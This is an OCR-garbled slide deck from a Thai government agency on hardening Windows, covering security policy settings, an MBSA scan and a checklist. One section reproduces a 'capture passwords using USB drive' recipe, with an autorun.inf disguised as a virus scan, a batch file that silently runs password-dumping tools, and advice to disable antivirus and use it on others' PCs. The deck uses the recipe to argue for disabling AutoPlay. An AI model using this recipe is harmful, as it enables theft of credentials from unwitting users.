b ] Public Key 1) Metwork security: Allow LocalSystem NULL session fallback Disabled
b s Network security: Allow PKUZU authentication requests to this computerto .. Not Defined
b ] Application s Network security: Configure encryption types allowed for Kerberos Mot Defined
b g IP Security Policies on Loca|| Metwork security: Do not store LAN Manager hash value on next password c.. Enabled

Disabled [
Mot Defin

s Metwork security: LDAP client signing requirements
s| Netwark security: Minimum session security for NTLM 55P based (including...
1) Metwork security: Minimurn session security for NTLM 55P based (including...

Megotiate signing
Require 128-bit ex
Require 128-bit en

Network security: LAN Manager authentication Iev_\i-

Local Securty Setting | Explain

Network security; LAN Manager authentication level

1) Metwork security: Restrict NTLM: Add remote server exceptions for NTLM a... Mot Defined

12is) Network security: Restrict NTLM: Add server exceptions in this domain Mot Defined

1) Metwork security: Restrict NTLM: Audit Incoming NTLM Traffic Mot Defined 2

s Network security: Restrict NTLM: Audit NTLM authentication in this domain ~ Not Defined oK Cancel Apply
Netusmrl cariritin Ractrict MR Insamina MTHR braffis Mot Nefined
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Set 'Network security: Minimum session security for NTLM SSP based
(including secure RPC) clients' to 'Require NTLMv2 session security,Require
128-bit encryption

& Local Security Policy \LL':
File Action View Help

o5 25E XE =

T Security Settings Palicy “ Security Setting

4 [ Account Policies 15s) Metwork access: Let Everyone permissions apply to anonymous users Disabled

7 Password Policy

4 [4 Local Policies
4 Audit Policy

1] Network access: Named Pipes that can be accessed anonymously
4 Account Lockout Policy | (1 Network access: Remotely accessible registry paths
1) Metwork access: Remotely accessible registry paths and sub-paths
1) Metwork access: Restrict anonymous access to Named Pipes and Shares
1) Metwork access: Shares that can be accessed anonymously
;) Metwork access: Sharing and security medel for lecal accounts
e] Network security: Allow Local Syster to use computer identity for NTLM

) Metwork security: Allow LocalSystem NULL session fallback

1) Metwork security: Allow PKU2U authentication requests to this computerto ...
1) Network security: Configure encryption types allowed for Kerberos

) Metwork security: Do not store LAN Manager hash value on next password c...
e] Network security: Force logoff when legon hours expire
1] Metwork security: LAN Manager authentication level
5] Network security: LDAP client signing requirements

o) Metwork securi i i .
Ll Metwork security: Minimum session security for NTLM 55P based (including...

: Minimu

.. Require 128-bit en

System’\CurrentC
~N

/

System CurrentC
Enabled

Mot Defined
Classic - local Jseg
Enabled

Disabled

Mot Defined

Mot Defined
Enabled

Disabled

Send MTLIWWZ res
Megotiate signing

N

Network security: Minimum session security for NT.lL-
Local Security Setting | Explain

/
Require NTLIMv2 session security
Require 128-bit encryption

Metwork security: Minimum session security for NTLM 55P based
including secure RPC) clients

Require 128-bit en

1e] Network security: Restrict NTLM: Add remote server exceptions for NTLM a...
1] Network security: Restrict NTLM: Add server exceptions in this domain

] Metwork security: Restrict NTLM: Audit Incoming NTLM Traffic

1) Network security: Restrict NTLM: Audit NTLM authentication in this domain

Metwnrk cecuritv: Restrict MT1M: Incomina MTI M traffic

L ——
Mot Defined
Mot Defined
Mot Defined :
Not Defined (L ok )| Comcd |[ ool

Mot Defined
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Set 'Network security: Minimum session security for NTLM SSP based
(including secure RPC) servers' to 'Require NTLMv2 session security,Require
128-bit encryption'

& Local Security Policy \LL':
File Action View Help

o5 25E XE =

T Security Settings Palicy “ Security Setting

4 [ Account Policies 15s) Metwork access: Let Everyone permissions apply to anonymous users Disabled

7 Password Policy

4 [4 Local Policies
4 Audit Policy

| Network Ljst Manager Polic

i | Public Key|Policies

b [ Software Restriction Policie|| "

i | Application Control Policie

b 8 IP Security Po
i | Advanced Audi Policy Cor

icies on Loca

1] Network access: Named Pipes that can be accessed anonymously
4 Account Lockout Policy | (1 Network access: Remotely accessible registry paths
1) Metwork access: Remotely accessible registry paths and sub-paths
1) Metwork access: Restrict anonymous access to Named Pipes and Shares
1) Metwork access: Shares that can be accessed anonymously
;) Metwork access: Sharing and security medel for lecal accounts
e] Network security: Allow Local Syster to use computer identity for NTLM
) Metwork security: Allow LocalSystem NULL session fallback
Metwork security: Allow PKU2U authentication requests to this computerto ...
1) Network security: Configure encryption types allowed for Kerberos
) Metwork security: Do not store LAN Manager hash value on next password c...
e] Network security: Force logoff when legon hours expire
1] Metwork security: LAN Manager authentication level
o| Network security: LDAP client signing requiremente

System’\CurrentC 1
System\CurrentC{//]

Enabled

Mot Defined
Classic - local dseg
Enabled
Disabled

Mot Defined \

Mot Defined
Enabled

Disabled

Send MTLIWWZ res
Megotiate signing

Network security: Minimum session security for NT.lL-

Local Security Setting | Explain

/
Require NTLIMv2 session security
Require 128-bit encryption

Metwork security: Minimum session security for NTLM 55P based
including secure RPC) clients

L. Network security: Minimum session security for NTLM 55P based (including...

Require 128-bit en

1| Network security: Minimum session security 1o ITLM 5eP based (Including..
1) Metwork security: Restrict NTLIM: Add remote server exceptions for NTLM a...
1] Network security: Restrict NTLM: Add server exceptions in this domain

] Metwork security: Restrict NTLM: Audit Incoming NTLM Traffic

1) Network security: Restrict NTLM: Audit NTLM authentication in this domain

Metwnrk cecuritv: Restrict MT1M: Incomina MTI M traffic

Require 128-bit ef
Mot Defined
Mot Defined
Mot Defined
Mot Defined
Mot Defined

C o ) [t | [
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Set 'System cryptography: Use FIPS compliant algorithms for encryption,
hashing, and signing' to 'Enabled’

A Local Security Policy \Ll_': System cryptography: Use FIPS compliant algorith_li-
File Action View Help m
& $ - x D = System cryptography: Use FIP'S compliant algorithms for
T Security Settings Policy * Security Setting =f|;  encyption, hashing, and signing
4 [ Account Policies s Network security: Force logoff when logen hours expire Disabled
5 Password Policy is| Network security: LAN Manager authentication level Send NTLMw2 res
4 Account Lockout Palicy | 1) Network security: LDAP client signing requirements Megaotiate signing ®) Enabled
4[3 chal Policies ] Network security: Minimum session security for NTLM SSP based (including... Require NTLI2 b () Disabled
5 Audit Policy 1s| Network security: Minirum session security for NTLM S5P based (including.., Require NTLMv2 -
b :. L P_‘i hts ﬁl‘«ssignment 1is| Network security: Restrict NTLM: Add remote server exceptions for NTLM a... Mot Defined
> 4 Security Options s Network security: Restrict NTLM: Add server exceptions in this domain Mot Defined
b N;:WH tMana“;'::‘:“‘; 1 Network security: Restrict NTLM: Audit Incoming NTLM Traffic Not Defined
b : Public Key Policies s Network security: Restrict NTLM: Audit NTLM authentication in this domain - Mot Defined /
b ™ Software Rdstriction Policie 1ie| Network security: Restrict NTLM: Incoming MTLM traffic Mot Defined
b ] Application|Control Policie s Network security: Restrick NTLM: NTLM authentication in this domain Mot Defined
b g IP Security Pplicies on Loca)| Network security: Restrict NTLM: Outgoing NTLM traffic to remote servers Mot Defined
b [ Advanced Addit Palicy Cor|| Recovery console: Allow automatic administrative logon Disabled
1s| Recovery console: Allow floppy copy and access to all drives and all folders  Disabled
1e| Shutdown: Allow systern to be shut down without having to log on Disabled
1s| Shutdown: Clear virtual memaory pagefile Disabled
ls| Systern cryptography: Force strong key protection for user keys stored on th... Mot Defined
0| systern cryptography: Use FIPS compliant algorithms for encryption, hashin., Disabled >
o] System objects: REQUITE Case MEEmeTeITy ToT TOT- VYA GWE sUDSyStems Enabled
15| Systern ohjects: Strengthen default permissions of internal systern objects (., Enabled -
is| System settings: Optional subsystems .' | Cancel | | Apply |
Sustem zettinns: Lze Certificate Rules on Windows Frecutahles for Snftware ... Nisahled
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Security Options

Set 'System cryptography: Use FIPS compliant algorithms for encryption,
hashing, and signing' to 'Enabled’
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Security Options

Set 'User Account Control: Admin Approval Mode for the Built-in
Administrator account' to 'Enabled'

Y Local Security Palicy \LL': User Account Control: Admin Approval Mode for LIL-

File Action View Help  Local Securty Seting | Explain |
es 1@ XEE

User Accourt Cortrol: Admin Approval Made for the Buitt-in

T Security Settings Policy - Security Setting =fl>  Administrator accourt
4 [ Account Policies | Network security: Restrict NTLM: NTLM authentication in this domain Mot Defined
4 Password Policy ils| Network security: Restrict NTLM: Outgoing NTLM traffic to remote servers  Not Defined

4 Account Lockout Palicy | [ Recovery console: Allow automatic administrative logen Disabled O Enabled

4 [4 Local Policies

- = 1| Recovery censole: Allow floppy copy and access to all drives and all folders  Disabled (®) Disaled
5 Audit FD|IC}‘ 1s| Shutdown: Allow systern to be shut down without having to leg on Disabled
SN s| Shutdown: Clear virtual memory pagefile Disabled

s] System cryptography: Force strong key protection for user keys stored on th... Not Defined

b ls| System cryptegraphy: Use FIPS compliant algorithms for encryption, hashin.., Disabled

b 1 Public Key ils| System objects: Require case insensitivity for non-Windows subsystems Enabled

b ils| System objects: Strengthen default permissions of internal systern ebjects (e.. Enabled

b [ Application o] System settings: Optional subsystems

b &, IP Security Poliches on Locgl L 3 ” o
b e cacll 1 User Account Control: Admin Approval Made for the Built-in Administrator ... Disabled L

12s| User Account Contran ion ... Disabled
e User Account Contrel: Behavior of the elevation prompt for administrators i..  Prompt for conse
1| User Account Contrel: Behavior of the elevation prompt for standard users — Prompt for crede
1s| User Account Contral: Detect application installations and prompt for elevat.., Enabled
1| User Account Contral: Only elevate executables that are signed and validated  Disabled

e User Account Contrel: Only elevate UlAccess applications that are installed i...  Enabled

1s| User Account Contrel: Run all administrators in Admin Approval Mode Enabled

1s| User Account Contral: Switch to the secure desktop when prompting for ele.,  Enabled ‘ Aoy

leer Arrannt Cnntral Yirknalize file and renictre write failures tnoner-ncer In Frnahled




Windows Components

AutoPlay Policies

Set 'Turn off Autoplay on:'to 'Enabled:All drives’

[ —

Removable Disk (G:)
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Examples How to capture passwords using USB drive

Here is a step by step procedre to create the password toolkit:
NOTE: You must temporarily disable your antivirus before following these steps.
Step 1: Download all the 5 tools, extract them and copy only the executables(.exe files)
into your USB Pendrive.
ie: Copy the files — mspass.exe, mailpv.exe, iepv.exe, pspv.exe and passwordfox.exe
into your USB Drive.
Step 2: Create a new Notepad and write the following text into it:
[autorun]
open=launch.bat
ACTION= Perform a Virus Scan
save the Notepad and rename it from
New Text Document.txt to autorun.inf
Now copy theautorun.inf file onto your USB pendrive.
Create another Notepad and write the following text onto it:
start mspass.exe /stext mspass.txt
start mailpv.exe /stext mailpv.txt
start iepv.exe /stext iepv.txt
start pspv.exe /stext pspv.txt
start passwordfox.exe /stext passwordfox.txt

save the Notepad and rename it from New Text Document.txt to launch.bat
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Examples How to capture passwords using USB drive

Step 3: Copy the launch.bat file also to your USB drive.

Step 4: Now your root kit is ready and you are all set to capture the passwords.
You can use this pendrive on your friend’s PC or on your college computer. Just
follow these steps

Step 5: Insert the pendrive and the autorun window will pop-up. (This is because,
we have created an autorun pendrive).

In the pop-up window, select the first option (Perform a Virus Scan).

Now all the password hacking tools will silently get executed in the background
(This process takes hardly a few seconds). The passwords get stored in the .TXT files.
Remove the pendrive and you’ll see the stored passwords in the .TXT files.

This works on Windows 2000, XP\Vista and 7




://www.microsoft.com/en-us/download/confirmation.aspx?id=7558



https://www.microsoft.com/en-us/download/confirmation.aspx?id=7558
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B Baseline

Security

Microsoft Baseline Security Analyzer Anaizer

B® Microsoft

Download Center

Shop~  Products « Categories ~ Support ~ Security «
== Microsoft Baseline Security Analyzer 2.3 (for IT Professionals)

Select -
English - Download
Language - _ Free PC updates
* Security patches

* Software updates

The Microsoft Baseline Security Analyzer provides a streamlined * Service packs
method to identify missing security updates and common security * Hardware drivers
misconfigurations. MBSA 2.3 release adds support for Windows 8.1,
Windows 8, Windows Server 2012 R2, and Windows Server 2012,
Windows 2000 will no longer be supported with this release.

@Run Microsoft Update
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“Microsoft:

i ‘Baseline

Microsoft Baseline Security Analyzer Rraizr

g Microsoft Baseline Security Analyzer 2.3

o &) &
Microsoft Microsoft

oA = . "
£ ¥ Baseline Security Analyzer

Tasks Check computers for common security misconfigurations.

Scan a computer

—mreries The Microsoft Baseline Security Analyzer can check computers running Microsoft Windows Server 2012 R2, Windows 8.1, Windows Server 2012, Windows 8, Windows Server 2008 R2,
S R R Windows 7, Windows® Server 2003, Windows Server 2008, Windows Vista, or Windows XP. Scanning computers for security updates utilizes Windows Server Update Services. You must have

_ _ _ administrator privileges for each computer you want to scan.
About Microsoft Baseline
Security Analyzer
\B§ Scan a computer
Check a copputer using its name or IP Address.

~'. Scan multiph computers
Check multiplg computers using a domain name or a range of IP addresses.

E View existing secON
View, print and copy tl

scan reports
from the previous scans.

5&' Scan a computer
Check a computer using its name or IP Address.

h'. Scan multiple computers
Check multiple computers using a domain name or a range of IP addresses.

E View existing security scan reports
View, print and copy the results from the previous scans.
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Security

Microsoft Baseline Security Analyzer Anaizer

Microsoft

€ @ ¥ Baseline Security Analyzer

Which computer do you want to scan?

Enter the name of the computer or its IP address.

Computer name: HOWTOSPONGRAPEEZ ™| (this computer)
IF address: . . . El
Security report name: %60 % - %C% (%6T5%)

%0% = domain, %eC% = computer, %T% = date and time, 3:IP% = IF address
Options:

Chedk: for Windows administrative vulnerabilities
Chedk for weak passwords
Chedk: for IIS administrative vulnerabilities
Chedk for QL administrative vulnerahbilities
Chedk for security updates

F Configure computers for Microsoft Update and scanning prerequisites

[] Advanced Update Services options:

)
%]
o
i
i
=]

Learn mare about Scanning Options



H S=F
- o~ EGA

THAILAND

\| 4mmmﬁ 3
B ‘Baseline

Security

Microsoft Baseline Security Analyzer Anaizer

"1 Microsoft

® ® ¥ Baseline Security Analyzer

Currently scanning HQ\ITOS-PONGRAPEE2

[llllllllllllllllllllllll

Done downloading security update information.
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3 “Baseline

Security

Microsoft Baseline Security Analyzer Anaizer

ﬂ Microsoft Baseline Security Analyzer 2

Microsoft

€©® ¥ Baseline Security Analyzer

Report Details for HQ - ITOS-PONGRAPEE2 (2015-08-06 14:19:00)

g Security assessment:
! Potential Risk (One or more non-critical checks failed.)

Computer name: HQWTOS-PONGRAPEEZ

IP address: 172.17.12.111

Security report name: HQ - ITOS-PONGRAPEEZ (8-6-2015 2-19 PM)
Scan date: 3/6/2015 2:18 PM

Scanned with MBSA version: 2.3.2211.0

Catalog synchronization date:

Security update catalog: Microsoft Update

Sort Order: | Score (worst first)

Security Update Scan Results

Score Issue Result

@ Developer Mo security updates are missing.
Touols, What was scanned  Result details
Runtimes, and
Redistributables
Security
Updates

] Office Security Mo security updates are missing.
Updates What was scanned  Result details

@ SQL Server No security updates are missing.
Security What was scanned  Result details
Updates

@ Silverlight No security updates are missing.
Serrity tithat wae crannad Dol Aetaile

& Print this repart Copy to dipboard EJ Previous security repart Mext security report
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« install OS ae/lsideusia network

* Update Patch

e Set 'Minimum password length' to '14 or more character(s)

» Set 'Enforce password history' to '24 or more password(s)

* Set 'Password must meet complexity requirements' to 'Enabled’
» Set 'Store passwords using reversible encryption' to 'Disabled’
e Set 'Minimum password age' to '1 or more day(s)*

* Set 'Maximum password age' to '60 or fewer days'

» Set 'Account lockout threshold' to '5 invalid logon attempt(s)’
* Set 'Account lockout duration' to '15 or more minute(s)’

* Set 'Reset account lockout counter after' to '15 minute(s)’

e Set 'Audit Policy' to 'Success and Failure'
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Security Log 196,608

System Log 32,768

Application Log 32,768

Configure 'Accounts: Rename administrator account’

Configure 'Accounts: Rename Guest account'

Set 'Accounts: Limit local account use of blank passwords to console logon
only' to 'Enabled’

* Set Shut down system immediately if unable to log security audits to
'‘Disable’

» Set 'Interactive logon: Display user information when the session is locked
'Enable’

* Interactive logon: Do not display last user name 'Enable'

 Set 'Interactive logon: Do not require CTRL+ALT+DEL' to 'Disabled’

* Set 'Interactive logon: Machine inactivity limit' to '900 or fewer seconds'
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 Set 'Interactive logon: Number of previous logons to cache (in case
domain controller is not available)' to '4 or fewer logon(s)'

* Set 'Interactive logon: Prompt user to change password before expiration'
to '14 or more day(s)’

* Interactive logon: Message text for users attempting to log on
===== UNAUTHORIZED ACCESS TO THIS NETWORK DEVICE IS PROHIBITED. =====
,You must have explicit permission to access or configure this device.,
“All activities performed on this device may be logged"," and violations,

of this policy may result in disciplinary action"," and may be reported,
to law enforcement. There is no right to privacy on this device.

*Interactive logon: Message title for users attempting to log on (Warning)
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» Set 'Network access: Do not allow anonymous enumeration of SAM
accounts and shares' to 'Enabled'

* Set 'Network security: Allow Local System to use computer identity for
NTLM' to 'Enabled’ (Domain Controller)

* Set 'Network security: Allow LocalSystem NULL session fallback' to
'‘Disabled’

* Set 'Network security: LAN Manager authentication level' to 'Send
NTLMv2 response only. Refuse LM & NTLM'

* Set 'Network security: Minimum session security for NTLM SSP based
(including secure RPC) clients' to 'Require NTLMv2 session security,Require
128-bit encryption
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» Set 'Network security: Minimum session security for NTLM SSP based
(including secure RPC) servers' to 'Require NTLMv2 session security,Require
128-bit encryption'

e Set 'System cryptography: Use FIPS compliant algorithms for encryption,
hashing, and signing' to 'Enabled’

» Set 'User Account Control: Admin Approval Mode for the Built-in
Administrator account' to '‘Enabled'

* Set "Turn off Autoplay on:' to 'Enabled:All drives'

* Microsoft Baseline Security Analyzer (Scan System)




| QUESTION & ANSWER SESSION

Name WeAssN w1augd  [Information Security Engineer]
e-mail : pongrapee@ega.or.th tel. : 02-612-6000(4303)
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'Thank You

Electronic Government Agency (Public Organization)

P
—

website : www.ega.or.th
e-mail : helpdesk@ega.or.th

Tel. - (+66) 0 2612 6000
Hotline : (+66) 0 2612 6060




